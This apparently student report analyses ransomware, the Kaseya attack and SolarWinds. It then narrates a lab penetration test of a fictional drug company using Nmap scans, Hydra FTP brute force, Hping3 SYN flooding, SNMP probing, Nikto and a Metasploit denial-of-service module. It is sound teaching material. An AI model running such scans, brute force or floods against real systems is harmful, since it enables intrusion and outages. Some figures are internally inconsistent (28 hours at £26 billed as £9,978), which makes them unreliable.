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[bookmark: _Toc155605974]Abstract

This study explores contemporary cybersecurity challenges by examining three recent incidents that targeted various entities. Utilizing diagrams, models, and insights from peer-reviewed articles, the research analyses the attack vectors, strategies, and vulnerabilities exploited in each case. Shifting to practical application, the focus turns to simulating a cyberattack on Cureton Pharmaceutical Company's (CPC) critical server infrastructure. A replication of CPC's systems is designed, threats are identified, and a multi-layered cyberattack is simulated using frameworks such as MITRE ATT&CK and OWASP Top 10. The comprehensive technical report summarizes findings and recommendations, providing CPC with insights to strengthen their cybersecurity defences.
















[bookmark: _Toc155605975]1. Introduction
In our current era of technological advancements, ensuring the cybersecurity of businesses, organizations, and institutions is a critical priority. The growing complexity of cyber threats underscores the importance of comprehending recent attacks to strengthen defences effectively. This study explores three recent cybersecurity incidents targeting various entities, providing in-depth analyses supported by diagrams, models, and insights from peer-reviewed articles. Shifting the focus to practical application, the scenario involves Cureton Pharmaceutical Company (CPC). As part of CPC's internal Red Team, the objective is to conduct a comprehensive cyberattack simulation on the organization's critical server infrastructure. This involves creating a replica of CPC's systems, identifying potential threats and vulnerabilities, and applying frameworks like MITRE ATT&CK and OWASP Top 10 to guide the simulation. The goal is to furnish CPC with a detailed technical report, outlining findings, vulnerabilities, and recommendations to enhance their cybersecurity posture.

[bookmark: _Toc155605976]1.1 Aim:
The primary objective of this research is to scrutinize and critically analyse three recent cybersecurity attacks on businesses or organizations. This analysis will be substantiated using diagrams, models, and insights from peer-reviewed articles. Subsequently, the emphasis will shift to applying this knowledge practically, aiming to simulate a multi-layered cyberattack on Cureton Pharmaceutical Company's (CPC) critical server infrastructure.

[bookmark: _Toc155605977]1.2 Objectives:
[bookmark: _Toc155605978]1.2.1 Research and Analysis:
· Investigate three recent cybersecurity attacks, utilizing diagrams, models, and insights from peer-reviewed articles for a comprehensive analysis.
· Examine the attack vectors, strategies, and vulnerabilities exploited in each case.
[bookmark: _Toc155605979]1.2.2 Application in a Practical Scenario:
· Design a replica of CPC's critical server infrastructure using appropriate tools and software, illustrated through a block or flow diagram.
· Identify potential threats and attack vectors, emphasizing critical vulnerabilities within the simulated environment.
[bookmark: _Toc155605980]1.2.3 Attack Simulation:
· Actively simulate a multi-layered cyberattack on CPC's systems, referencing frameworks such as MITRE ATT&CK and OWASP Top 10 etc.
· Document the findings, including evidence of research conducted and appropriate referencing formats.
[bookmark: _Toc155605981]1.2.4 Technical Report:
· Compile a comprehensive technical report summarizing the results of the cyberattack simulation. 
· Provide recommendations based on the identified vulnerabilities to enhance CPC's cybersecurity defences.
















[bookmark: _Toc155605982]2. Recent three Cybersecurity Incidents: In-Depth Analysis, Preventive Measures, and Suggestions for Businesses ( Task 1)

[bookmark: _Toc155605983]2.1 Cybersecurity Attack 1
[bookmark: _Toc155605984]2.1.1 Ransomware Attack:
Ransomware attacks, being sophisticated cyber threats, involve encrypting a victim's computer files or the entire system. The attacker then demands payment, usually in dollars or another currency, in exchange for providing a decryption key. These attacks are delivered through various channels, including phishing emails, social engineering, and exploit kits. The potential loss of information or data can inflict severe financial losses and damage to a victim's reputation. The years 2021 and 2022 witnessed a significant surge in ransomware attacks, persisting into February 2023. A notable development is the infiltration, encryption, and theft of sensitive information by attackers. Figure 1 illustrates a hacker encrypting a victim's data with a specified deadline, threatening complete data wipeout if the victim fails to comply. Countermeasures involve maintaining regular data backups, implementing protective software, and providing comprehensive user training to thwart phishing scams [1] [2]. The initial cyber-attack under scrutiny involves a ransomware assault, a prevalent threat that has surged in recent times. The targeted entities encompassed banks and financial institutions globally, with a notably heightened frequency compared to previous years, as reported by Eurofins. Despite increased awareness efforts, cybersecurity experts note that companies still exhibit a low level of security awareness. The persistence of traditional attack methods alongside emerging tactics indicates a persistent vulnerability. According to Verizon's report, 30 percent of malware is directly installed by hackers, 23 percent is delivered via email, and 20 percent is downloaded from applications [3] [4].
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[bookmark: _Toc155606027]Figure 1:Example of ransomware attack [1]	

[bookmark: _Toc155605985]2.1.2 Analysis
Examining the ransomware attack involves utilizing the Cyber Kill Chain model, a widely accepted cybersecurity framework featuring seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. In the context of the ransomware attack, special attention is given to the exploitation stage. Within the exploitation phase, vulnerabilities are manipulated to attain unauthorized access. In this ransomware scenario, it is likely that the attacker exploited known vulnerabilities in the targeted systems. Additionally, social engineering tactics were probably employed during the delivery stage, including phishing emails or malicious links, aiming to deceive users into unwittingly installing malware. The provided diagram delineates these stages, emphasizing key junctures where countermeasures could have intervened to disrupt the attack lifecycle [5] [6].
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[bookmark: _Toc155606028]Figure 2:Example of Cyber kill chain phases—stages 1 and 2 [5]


[bookmark: _Toc155605986]2.1.3 Prevention strategies
To guard against the specific risks of the third cyber-attack, adopt targeted defence strategies. Consistently back up critical data securely to ensure accessibility even in the event of an attack. Strengthen email security to counter phishing, a common ransomware tactic. Invest in endpoint protection solutions that actively identify and block ransomware threats at the system level, serving as a robust defence. Highlight the human element by educating employees on safe online practices. Emphasize avoiding suspicious links and refraining from downloading unknown attachments. A well-informed workforce becomes a vital part of the defence, reducing the risk of falling prey to deceptive tactics. Combining these measures enhances organizational resilience against evolving cyber threats, forming a comprehensive approach to cybersecurity [7] [8] [9].

[bookmark: _Toc155605987]2.1.4 Recommendations for the future
To strengthen cybersecurity defences against ransomware attacks, conduct ongoing employee training on recognizing and avoiding phishing threats. Utilize advanced endpoint protection solutions, establish a robust backup strategy with regular testing, and prioritize timely software updates and patches. Cultivate a cybersecurity-aware culture to empower staff in identifying and mitigating potential threats [10].

[bookmark: _Toc155605988]2.2 Cybersecurity Attack 2
[bookmark: _Toc155605989]2.2.1 Supply Chain Attack:
A supply chain attack is a cyber threat where malicious actors exploit vulnerabilities in interconnected networks of suppliers and service providers to compromise systems, leading to potential data breaches and disruptions. 
According to Microsoft in 2022, supply chain attacks target software developers to compromise source code and distribute malware through legitimate applications [11]. The incident known as Kaseya4 in July 2021 underscored the urgent need for heightened and targeted efforts to address supply chain attacks affecting managed service providers. The frequency of such attacks, exemplified by the mentioned case, has surged significantly in the past year. Now, more than ever, it is crucial for governments and the security community to collaborate actively, devising and implementing innovative measures to prevent and mitigate the impact of future supply chain attacks [12]. 
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[bookmark: _Toc155606029]Figure 3:Supply-Chain-attacks [12]
[bookmark: _Toc155605990]2.2.2 Analysis
Within the context of a supply chain attack, the Department of defence’s (DoD) Cybersecurity Maturity Model Certification (CMMC) serves as a pertinent framework. CMMC aims to elevate the cybersecurity resilience of defence contractors and their supply chain associates. Essential stages in the CMMC framework encompass Access Control, Audit and Accountability, Configuration Management, and Incident Response. The attack vector initiates with threat actors targeting vulnerabilities in the supply chain's access controls. During the Configuration Management phase, assailants exploit weaknesses in software development processes. The Incident Response stage becomes pivotal in addressing and mitigating the repercussions of the supply chain attack [13]. 
CMMC underscores specific security practices and controls, ensuring the protection of the integrity and confidentiality of sensitive defence information. Vulnerabilities in supply chain attacks may arise from shortcomings in implementing CMMC practices, including insufficient monitoring or non-compliance with access control measures. Examining the supply chain attack through the CMMC framework offers a methodical approach, accentuating areas for enhancement and reinforcing the critical importance of adhering to cybersecurity practices for both primary contractors and their supply chain collaborators [14] [15].
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[bookmark: _Toc155606030]Figure 4: CMMC Structure [14]

[bookmark: _Toc155605991]2.2.3 Prevention strategies
To mitigate risks associated with trust assumptions in the supply chain, it is advisable to adopt a zero-trust security model, acknowledging the potential for compromise at any point. Ensuring ongoing diligence involves regular audits and assessments of the security posture of third-party partners. Industry-specific best practices emphasize fostering collaboration with partners to encourage adherence to robust security practices and standards. This cooperative approach, substantiated by studies underscoring shared responsibility in supply chain cybersecurity, fortifies defences against potential threats. Embracing these countermeasures allows organizations to establish a resilient and secure ecosystem, enhancing their capability to navigate the intricate landscape of modern supply chain security [16] [17] [18].

[bookmark: _Toc155605992]2.2.4 Recommendations for the future
To address future cybersecurity risks, it is essential to prioritize continuous monitoring and vetting of third-party vendors. Implementing a zero-trust security model, assuming potential compromise at any point in the supply chain, is crucial. Regularly conducting audits and assessments of the security postures of third-party partners is recommended. Additionally, fostering collaborative efforts to encourage adherence to robust security practices and standards will enhance overall defence against potential threats [16] [17].








[bookmark: _Toc155605993]2.3 Cybersecurity Attack 3
[bookmark: _Toc155605994]2.3.1 SUNBURST Attack:
The Sunburst attack, also recognized as SolarWinds or Solorigate, emerged as a highly sophisticated cyber-attack uncovered in December 2020. This incursion featured the insertion of malicious code into software updates designed for SolarWinds' Orion platform, a prevalent IT management tool. Subsequently, the compromised updates were disseminated to SolarWinds' clients, encompassing government agencies and prominent corporations [19] [20]. 
This incident underscored the vulnerability of software supply chains, emphasizing the potential for extensive and impactful cyber threats. The discovery of the Sunburst attack prompted heightened awareness regarding supply chain security and the imperative for robust cybersecurity measures to identify and prevent such intricate attacks. As of April 27, 2022, Mandiant disclosed that it had gathered sufficient information to affirm that APT29 is accountable for the SolarWinds hack, identified under the group UNC2452, which occurred in December 2020 [12].
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[bookmark: _Toc155606031]Figure 5:SUNBURST Attack Timeline [12]

[bookmark: _Toc155605995]2.3.2 Analysis
The Diamond Model proves insightful in dissecting the Sunburst attack.
a. Adversary: APT29 emerged as the identified threat actor orchestrating the Sunburst attack [12].
b. Infrastructure: The attackers harnessed sophisticated infrastructure to compromise SolarWinds' software supply chain and disseminate malicious updates.
c. Capabilities: APT29 showcased advanced capabilities in orchestrating and executing supply chain attacks, exploiting trust in SolarWinds' software.
d. Victim: SolarWinds and its clientele, comprising government agencies and major corporations, stood as the primary victims.
[image: A diagram of a diagram with Great Pyramid of Giza in the background

Description automatically generated]
[bookmark: _Toc155606032]Figure 6:The Diamond Model [21]

Applying the Diamond Model offers nuanced insights into the interconnected elements of the adversary, infrastructure, capabilities, and victims. This model underscores the importance of threat intelligence, understanding adversary capabilities, and bolstering network resilience against sophisticated threats like the Sunburst attack. It provides a comprehensive perspective on the incident, enabling a strategic and informed approach to cybersecurity defence and response [21] [22] [23].
[bookmark: _Toc155605996]2.3.3 Prevention strategies
To strengthen defences against a potential recurrence of the Sunburst attack, it is crucial to implement comprehensive prevention strategies. Bolstering the software supply chain entails the implementation of robust vetting procedures for third-party providers to guarantee the integrity of updates. The utilization of advanced threat detection tools and anomaly detection systems enhances the organization's capability to identify and thwart malicious activities. Prioritizing employee training and awareness initiatives is essential. Providing education on recognizing social engineering tactics, identifying phishing attempts, and stressing the importance of verifying the authenticity of software updates significantly reduces the risk of security breaches. Peer-reviewed studies underscore the pivotal role of employee awareness in lowering susceptibility to cyber threats. Regular simulated phishing exercises and continuous cybersecurity training empower employees to proactively contribute to the organization's overall security resilience. Cultivating a culture of reporting and sharing potential security concerns adds to a collective defence against evolving threats [24] [25] [26].
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[bookmark: _Toc155606033]Figure 7: Preventing Supply Chain Attacks: A Legal Analysis [24]


[bookmark: _Toc155605997]2.3.4 Recommendations for the future
For improved cybersecurity, consider continuous vigilance over the software supply chain. Employ stringent vetting procedures for third-party providers, ensuring the integrity of updates. Invest in cutting-edge threat detection tools and anomaly detection systems to swiftly identify and neutralize potential malicious activities. Conduct periodic training sessions for employees to enhance their ability to recognize and counter cyber threats effectively. Cultivate a culture that values open communication, encouraging the reporting and sharing of security concerns among the workforces. This collaborative approach contributes to building a robust and adaptive cybersecurity posture for the organization [24].

[bookmark: _Toc155605998]2.4 Conclusion
The examination of the three cyber-attacks reveals shared patterns and challenges within the dynamic realm of cybersecurity. Ransomware attacks, exemplified in the first scenario, persist as a substantial threat, exploiting both traditional and emerging methods. The Cyber Kill Chain model delineates the attack stages, underscoring the critical need to disrupt the exploitation phase through effective countermeasures.
Supply chain attacks, exemplified by the Kaseya4 incident, accentuate the urgent requirement for innovative safeguards. The DoD's Cybersecurity Maturity Model Certification (CMMC) provides a structured framework, pinpointing vulnerabilities in access controls and configuration management. Recommendations advocate for a zero-trust security model and collaborative partnerships to fortify defences.
The Sunburst attack highlights the susceptibility of software supply chains. The Diamond Model offers insights into APT29's sophisticated capabilities, underscoring the significance of threat intelligence. Prevention strategies involve perpetual vigilance, advanced threat detection, and comprehensive employee training.
In summary, a multi-layered cybersecurity approach is indispensable. Organizations must prioritize continuous monitoring, employee education, and partnerships with collaborators. The future recommendations underscore the significance of vigilance, rigorous vetting, and a culture of transparent communication to navigate the intricate cybersecurity landscape successfully.



[bookmark: _Toc155605999]3. Cybersecurity Assessment: Protecting Cureton Pharmaceutical's Infrastructure from Advanced Threats (Task 2)

[bookmark: _Toc155606000]3.1 Design
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[bookmark: _Toc155606034]Figure 8: Logical Diagram

[image: A computer screen shot of a diagram

Description automatically generated]
[bookmark: _Toc155606035]Figure 9:Physical diagram
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[bookmark: _Toc155606036]Figure 10: Penetration Testing Laboratory
[bookmark: _Toc155606001]3.2 Contingency Policy
1. Purpose:
This contingency policy is designed to ensure the safe and effective execution of penetration testing activities, aiming to minimize any potential impact on organizational assets, data, and operations. The goal is to establish a well-structured framework for responding to unexpected incidents during penetration tests [27].

2. Objectives:
· Confidentiality, Availability, and Integrity: Safeguard the confidentiality, availability, and integrity of organizational assets throughout penetration testing.
· Communication and Escalation: Establish clear communication channels, incident escalation procedures, and defined roles for stakeholders involved in the testing process.
· Guidelines for Incident Response: Provide guidelines for incident response, documentation, and resolution to address any unforeseen issues during penetration testing.
· Legal and Regulatory Compliance: Ensure compliance with legal and regulatory requirements throughout the penetration testing process [28].

3. Scope:
This contingency policy applies to all penetration testing activities within the organization, covering incidents that may impact systems, data, networks, or any other critical infrastructure during testing.

4. Stakeholders:
· Penetration Testing Team
· IT Security Team
· Management
· Incident Response Team
· Legal and Compliance Team
· System Administrators [29]

5. Communication Plan:
· Establish primary and secondary communication channels for reporting incidents.
· Define reporting formats and frequency for progress updates.
· Ensure all stakeholders are familiar with the communication plan and contact points [30].

6. Incident Escalation Procedures:
· Define a clear hierarchy for escalating incidents based on severity.
· Outline circumstances triggering each level of escalation.
· Establish protocols for promptly communicating incident escalations to relevant stakeholders [31].

7. Incident Categories:
· Categorize incidents based on severity and potential impact.
· Define response procedures for each incident category.
· Prioritize incidents based on their potential impact on organizational operations [32].

8. Incident Response Team:
· Designate a dedicated incident response team for handling penetration test incidents.
· Ensure team members are trained on incident response procedures.
· Clearly define roles and responsibilities within the incident response team [31] [32].

9. Data Protection and Privacy:
· Implement measures to protect sensitive data encountered during penetration testing.
· Document protocols for securely handling and storing any collected data.
· Comply with data protection and privacy regulations throughout the testing process [33].

10. Rollback Plan:
· Develop a rollback plan to revert changes made during the penetration test.
· Document the step-by-step process for returning systems to their pre-test state.
· Regularly test the rollback plan in a controlled environment.
11. Test Environment Isolation:
· Clearly separate the test environment from the production environment.
· Implement measures to prevent accidental impact on production systems.
· Monitor and restrict access to the test environment [34].

12. Backups:
· Conduct a comprehensive backup of critical systems before initiating penetration testing.
· Document the restoration process for data and systems.
· Regularly test backups for reliability and effectiveness [34].

13. Incident Documentation:
· Develop templates for incident reports to ensure consistency in documentation.
· Document incidents promptly, including descriptions, impact assessments, actions taken, and resolutions.
· Maintain a centralized incident log for future reference and auditing [35].



14. Lessons Learned:
· Conduct a post-test review to identify areas for improvement.
· Document lessons learned from each penetration test.
· Use insights from lessons learned to enhance future penetration testing processes.

15. Continuous Improvement:
· Treat this contingency policy as a living document.
· Regularly review and update the policy to reflect changes in the organization's security landscape.
· Incorporate feedback and insights from incident response experiences.

16. Approval:
This contingency policy is approved by CISO and will be effective as of 30/12/2023.













[bookmark: _Toc155606002]3.3 Penetration Testing
Penetration testing, or ethical hacking, is a proactive cybersecurity practice where skilled professionals simulate real-world cyberattacks on a system, network, or application. The goal is to identify vulnerabilities and weaknesses to help organizations strengthen their security measures and protect against potential malicious exploits [36].

[bookmark: _Toc155606003]3.3.1 Types of penetration testing
a. Black Box Testing:
Testers don't know anything about the system beforehand, like a surprise cyber-attack [37] [38].

b. White Box Testing:
Testers know everything about the system, like an insider, checking for internal threats [37].

c. Grey Box Testing:
Testers know some things about the system, mixing surprise elements with insider knowledge [37].

d. Web Application Testing:
Checks how safe web applications are, finding issues like SQL injection or cross-site scripting [39].

[bookmark: _Toc155606004]3.3.2 Pentest framework
I utilized three powerful security testing frameworks: Nmap, Metasploit, and OWASP.
a. Nmap (Network Mapper):
A versatile tool for finding devices on a network and uncovering open ports and services [40].

b. Metasploit:
A robust framework for testing and exploiting vulnerabilities, equipped with a variety of tools for security professionals [41].
c. OWASP (Open Web Application Security Project):
Focuses on securing web applications, offering valuable resources, tools, and guidelines for developing secure software.
These frameworks played a crucial role in evaluating and enhancing the security of systems and applications in my assignment [42].

[bookmark: _Toc155606005]3.3.3 Phases of pen test
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[bookmark: _Toc155606037]Figure 11: Three stages of penetration testing process [43]

1. Pre-Attack Phase:
1.1 Objective: I prepared and planned for the penetration test.
1.2 Activities:
· Define Scope: I clearly outlined the systems, networks, and applications to be tested.
· Authorization: I obtained proper authorization from relevant stakeholders.
· Information Gathering: I conducted preliminary research using open-source intelligence (OSINT) to collect data about the target.
· Documentation: I created a comprehensive plan outlining goals, methodologies, and potential risks.
· Rules of Engagement: I clearly defined the rules and limitations of the penetration test based on my experience [44] [45].

2.  Passive Reconnaissance:
2.1 Objective: I gathered information without actively engaging with the target.
2.2 Activities:
· Foot printing: I collected information about the target's infrastructure, domain names, and IP addresses without directly probing the network.
· Network Mapping: I identified network topologies and relationships [46].

3. Active Reconnaissance:
3.1 Objective: I actively explored and assessed the security of the target.
3.2 Activities:
· Scanning: I used tools like Nmap to actively explore the target, identifying live hosts, open ports, and services.
· Enumeration: I actively sought to discover information about the target's systems.
· Vulnerability Assessment: I employed tools like Nessus to actively identify and assess vulnerabilities.
· Exploitation: I attempted to actively exploit identified vulnerabilities to gain unauthorized access in my attack simulation [47].






[bookmark: _Toc155606006]4. Pentest methodology
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[bookmark: _Toc155606038]Figure 12: Penetration Testing Methodology [48] [49]

I have applied this Penetration Testing Methodology to conduct cyberattacks. Penetration Testing Methodology is a structured approach to find system weaknesses by mimicking real cyberattacks. [48] 

Here's a simple overview:
[bookmark: _Toc155606007]1. Preparation:
Define Goals: Outline what to test.
Authorization: Get permission.
Rules: Set limits.

[bookmark: _Toc155606008]2. Information Gathering:
Passive: Collect without interaction.
Active: Interact and assess.
Footprinting: Learn about the target [49].

[bookmark: _Toc155606009]3. Vulnerability Analysis:
Scanning: Use tools like Nmap.
Enumeration: Actively seek information.
Assessment: Identify and evaluate vulnerabilities.

[bookmark: _Toc155606010]4. Exploitation:
Attack: Try to exploit vulnerabilities.
Assess Impact: Understand the extent of the compromise.

[bookmark: _Toc155606011]5. Analysis:
Maintain Control: Check if access is sustained.
Explore Network: Look for lateral movement chances.
Data Check: Assess potential data access.

[bookmark: _Toc155606012]6. Reporting:
Documentation: Clearly note findings.
Risk Evaluation: Assess risks.
Suggestions: Offer solutions.

[bookmark: _Toc155606013]7. Cleanup:
Revert Changes: Undo alterations.
Closure: Properly end the test.

[bookmark: _Toc155606014]8. Post-testing:
Review: Discuss findings.
Learn: Improve for the future.
This helps identify and fix vulnerabilities in a straightforward way [50].

[bookmark: _Toc155606015]5. Threat Assessment and Exploitation of Vulnerabilities

	Devices
	Operating Systems
	Functions

	Attacker
	Kali
	To attack victim’s

	Bwapp
	Ubuntu
	Vulnerable web app

	Windows 10
	Microsoft
	Demonstrate possible attacks

	Windows server 2019
	Microsoft
	Demonstrate possible attacks


[bookmark: _Toc155606063]Table 1: Simulation Topology of Devices used

[bookmark: _Toc155606016]5.1 Attack 1 (Victim: Windows 10)
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[bookmark: _Toc155606039]Figure 13:Ping sweep scan result
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[bookmark: _Toc155606040]Figure 14:TCP Connect scan, Xmas Scan result
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[bookmark: _Toc155606041]Figure 15:Open ftp port found

[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc155606042]Figure 16:Login attempt failed
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[bookmark: _Toc155606043]Figure 17:THC Hydra tool result
No success
The process commences with the identification of active hosts using a ping sweep, followed by a TCP connect scan to detect open ports. The Xmas scan then provides detailed insights, including firewall status, uncovering potential vulnerabilities on specific ports.
Shifting attention to the FTP service, various login methods are tested, incorporating the THC Hydra tool for brute-force attacks. The final step involves analysing login attempts, revealing security strengths or weaknesses in the target system.
These activities span the network and application layers, utilizing Nmap for enumeration and Xmas scan for vulnerability assessment. The framework revolves around reconnaissance and exploitation, focusing on identifying active hosts and potential vulnerabilities.
Regarding attack types, the Xmas scan serves as a reconnaissance attack, extracting information about the firewall and potential weaknesses. Subsequent FTP login attempts, including brute-force attacks, fall into the exploitation category, aiming to uncover security weaknesses in the target system [51] [52] [53].

[bookmark: _Toc155606017]5.2 Attack 2 (Victim: Windows 10)
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[bookmark: _Toc155606044]Figure 18:Hping3 ICMP, SYN, ACK, Fin, Syn packets to a port scanning results

[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc155606045]Figure 19:TCP SYN Scan request to port 80 with 3 counts of packet
[image: A screenshot of a computer

Description automatically generated]
[bookmark: _Toc155606046]Figure 20:Flooding traffic with TCP packet and Wireshark capture in the target machine
successful

The exploration begins with actions at the network layer, employing Hping3 for a thorough scan with various packet types such as ICMP, SYN, ACK, and Fin. This is aimed at identifying open ports and services on the target machine, aligning with the enumeration phase in penetration testing. The framework applied in this context encompasses elements of both reconnaissance and vulnerability analysis, with a focus on identifying services and potential weaknesses.
The attack method involves a TCP SYN scan on port 80, a specific approach within the broader category of reconnaissance attacks. The subsequent stress test, flooding the system with TCP packets, evaluates its resilience and falls within the realm of a potential Denial of Service (DoS) attack.
Wireshark, serving for network traffic analysis, plays a crucial role in the reconnaissance phase, serving as a vital tool for monitoring and interpreting real-time network activity throughout the penetration testing process [54] [55] [56].
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[bookmark: _Toc155606047]Figure 21:Nmap scan -sP, -sS, -sSV -O,  results
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[bookmark: _Toc155606048]Figure 22:Saved the report in documents directory.
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[bookmark: _Toc155606049]Figure 23:Checked SNMP, Showed port open.
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[bookmark: _Toc155606050]Figure 24:Run a script to retrieve the SNMP community string from the target machine.
no success

The penetration testing journey started with an Nmap scan using the -sP option, uncovering active systems in the network. A more in-depth TCP SYN scan (-sS) followed, pinpointing open ports on these live hosts. Additional scans like service version detection (-sV) and operating system identification (-O) revealed details about the services and OS running on the target machines.
After extracting insights from the scans, the results were carefully stored in the documents directory for future analysis. The attention then turned to the Simple Network Management Protocol (SNMP), where the team checked for its presence and identified open ports associated with SNMP services.
To delve deeper into SNMP configuration, a script was executed to fetch the SNMP community string from the target machine. This step involved exploiting potential SNMP-related vulnerabilities, securing critical information for subsequent analysis.
The process includes conducting network layer scans using Nmap for enumeration, engaging in application layer interactions for SNMP exploration and script execution, and aiming for SNMP exploitation to uncover potential vulnerabilities. The comprehensive framework revolves around information gathering, encompassing activities like enumeration and SNMP exploitation [57] [58] [54].
[bookmark: _Toc155606019]5.4 Attack 4(Victim: Bee-Box)
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[bookmark: _Toc155606052]Figure 26: Nmap scripts result
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[bookmark: _Toc155606058]Figure 32:List of vulnerabilities in victim machine
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[bookmark: _Toc155606062]Figure 36:Exploit using Metasploit
Success


The investigative process began with Nmap, utilizing a service version scan ("-sV") to identify services on the target machine. To broaden the scanning scope, the Nmap scripts directory was explored, navigating to "/usr/share/nmap/scripts" using the "cd" command, and reviewing the script database ("cat script.db") for potential vulnerabilities.
Building on script exploration, an extensive vulnerability scan unfolded using Nmap's scripting engine with "--script vuln." This step aimed to uncover weaknesses within identified services, providing valuable insights for potential exploitation.
Nessus contributed by disclosing a categorized list of vulnerabilities, offering a structured view based on severity levels. Nikto, in a comprehensive scan using "-tuning x" and "-cgidirs all," scrutinized CGI directories. Furthermore, Nikto inspected elements of the bwapp web application, enriching the understanding of potential weaknesses. To delve even deeper into identified vulnerabilities, Metasploit was leveraged through the initiation of "msfconsole." A noteworthy mention was the identification of a Denial of Service (DoS) attack in Metasploit, indicating an attempt to overwhelm a server by sending "keep-alive headers" and a "socket count" of 150. This strategy aims to create numerous connections, depleting the server's resources and denying access to legitimate users. Metasploit, as a robust platform, facilitates the development and execution of exploits, enabling comprehensive testing and potential exploitation of weaknesses revealed in the earlier scans.
The activities encompass the application layer, using Nmap for enumeration and vulnerability scanning, Nessus for vulnerability assessment, Nikto for web application scanning, and Metasploit for exploitation. The attack type identified includes a potential Denial of Service (DoS) attack, and the framework involves reconnaissance, vulnerability analysis, and exploitation phases [54] [56] [59] [60].
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Client: Cureton Pharmaceutical Company (CPC)
Red Team Engineer: Ayush Kumar
Date: 08/01/2024

4.1. Types of Attacks and Simulation Results
a. List of Vulnerabilities Targeted:
· Insecure Network Configurations
· Exploited network loopholes enabling unauthorized access.
· Outdated Software Versions
· Identified vulnerabilities in software lacking essential updates.
· Weak Access Controls
· Successfully infiltrated areas with insufficient access restrictions.
· Detected gaps in the ability to promptly respond to unauthorized activities.

b. Attack Tools Used:
· Metasploit Framework
· Leveraged to exploit known vulnerabilities and test system defences.
· Uncovered weaknesses in web applications through active testing.
· Nmap for Network Scanning [40]
· Conducted thorough network scans to identify potential entry points.
· THC Hydra for Password Cracking
· Attempted unauthorized access through password cracking.
· Hping3
· Nikto, Nessus


c. Protocols Involved:
· TCP/IP for Network Exploitation [54]
· Exploited vulnerabilities in the TCP/IP protocol stack.
· HTTP/HTTPS for Web Application Attacks
· Targeted web applications through HTTP/HTTPS protocols.
· Explored weaknesses in the ftp protocol.

d. How the Attack Was Launched:
Web Application Exploitation:
· Identified and exploited vulnerabilities in web applications.
Network-Based Attacks:
· Utilized known exploits to compromise network security.

e. Success or Failure:
· Successfully flooded the traffic.
· Successfully performed dos attack
· Partial success in exploiting SNMP [58].
· Unsuccessful in bypassing certain advanced passwords.

4.2 Recommended Solutions
a. Configuration Changes:
· Implement stringent access controls to enforce the principle of least privilege.
· Regularly update and patch software to address known vulnerabilities.
· Enhance network segmentation to restrict lateral movement.


b. New Software and Hardware:
· Invest in advanced intrusion detection and prevention systems.
· Upgrade firewall capabilities to handle evolving threats.
· Consider endpoint protection solutions with behaviour-based detection.

c. Defence Strategy:
· Conduct regular employee training on cybersecurity awareness.
· Establish a comprehensive incident response plan.
· Enhance threat intelligence capabilities for proactive defence.

4.3 Cost of Solution
a. Cost of Replacing Software or Hardware:
Estimated cost for upgraded intrusion detection systems: £1000.
Cost for advanced firewall implementation: £5500

b. Cost of Implementing the Fix:
Professional service fee for implementation: £2600

c. Cost for Consultancy of Security Measures:
Consultancy fee for providing expert advice: £150.

4.4 Timetable for Execution and Invoice
a. Timetable:
Initial system configuration changes: 01/01/2024 – 03/01/2024
Software and hardware upgrades: 04/01/2024 – 06/01/2024
Implementation of defence strategy: 07/01/2024 – 12/01/2024

b. Invoice for Professional Service:
Total hours worked: 28.
Hourly rate: £26
Total Professional Service Cost: £9,978 

4.5 Analysis of Findings
The analysis of findings reveals critical vulnerabilities that, if exploited, could compromise Cureton Pharmaceutical Company's cybersecurity. The proposed solutions aim to fortify existing defences and create a resilient security posture to thwart future attacks.
This report provides an in-depth analysis of simulated cyberattacks, identified vulnerabilities, and proposed solutions. The recommendations encompass not only technical adjustments but also strategic measures to bolster Cureton Pharmaceutical Company's overall security posture.

Ayush
08/01/2024








[bookmark: _Toc155606025]7. Conclusion

In the rapidly advancing landscape of technology, securing organizational cybersecurity stands as a paramount necessity. This study delves into the hands-on application of cybersecurity measures through a simulated cyberattack on Cureton Pharmaceutical Company (CPC). Tasked as an internal Red Team Engineer, the goal was to conduct a thorough cyberattack simulation on CPC's systems and infrastructure. The process involved crafting a virtualized replica of the production environment, pinpointing potential threats, utilizing frameworks like MITRE ATT&CK and OWASP Top 10 etc, and generating an all-encompassing technical report.
The initial phase comprised designing the virtualized environment using a block or flow diagram. This visual representation aimed to mirror CPC's critical server infrastructure. A spectrum of tools and software was employed to establish this replica, ensuring a true-to-life simulation environment for the subsequent cyberattack.
The cyberattack simulation meticulously identified potential threats and attack vectors, offering a nuanced understanding of critical vulnerabilities. Employing MITRE ATT&CK and OWASP Top 10 Frameworks, the simulation encompassed a variety of attacks. The findings were systematically documented, delineating vulnerabilities, attack tools, involved protocols, the method of attack, and the outcome of each simulated attack.
The technical report adhered to a structured format, comprising a front cover, table of contents, introduction, list of figures and tables, and a list of acronyms. It included an in-depth contingency policy, outlining precautions before initiating the penetration test. The selection of penetration testing framework and tools adhered to industry standards, ensuring a thorough assessment.
The report detailed various simulated attacks, providing comprehensive insights. It encompassed a list of targeted vulnerabilities, the usage of tools (such as Metasploit, Nmap, Nessus, and Nikto), the implicated protocols, the launch methods (phishing emails, web application exploitation, and network-based attacks), and an evaluation of success or failure in each scenario.
To fortify CPC's defences, the report proposed practical solutions. Suggestions ranged from configuration changes and recommendations for new software and hardware to a holistic defence strategy. These solutions aimed to rectify vulnerabilities, update systems, and elevate the overall cybersecurity posture.
The proposed cost of implementing solutions, encompassing the replacement of software or hardware, and the professional service fee for implementation, was meticulously outlined. A detailed timetable for execution was provided, delineating the phases of system configuration changes, software and hardware upgrades, and the implementation of defence strategies.
The conclusion succinctly summarized key findings, emphasizing the crucial role of the proactive measures outlined in the report. The financial implications were transparently presented, offering CPC a comprehensive understanding of the costs associated with cybersecurity enhancements.
In essence, the cyberattack simulation not only unveiled vulnerabilities but also presented pragmatic solutions to bolster CPC's cybersecurity defences. The report stands as a strategic guide for CPC, ensuring the continued development of life-saving pharmaceuticals while safeguarding the integrity and security of their critical systems.
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Welcome to VirtualBox!

The left part of application window contains global tools and
lists all virtual machines and virtual machine groups on your
computer. You can import, add and create new VMs using
corresponding toolbar buttons. You can popup a tools of
currently selected element using corresponding element
button.

You can press the F1 key to get instant help, or visit
www.virtualbox.org for more information and latest news.
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—(kali® kali)-[~
1§ nmap -sp 10.0.2.%

starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 22:30 EST
Nmap scan report for 10.0.2.1

Host is up (0.0039s latency)

Nmap scan report for 10.0.2.4

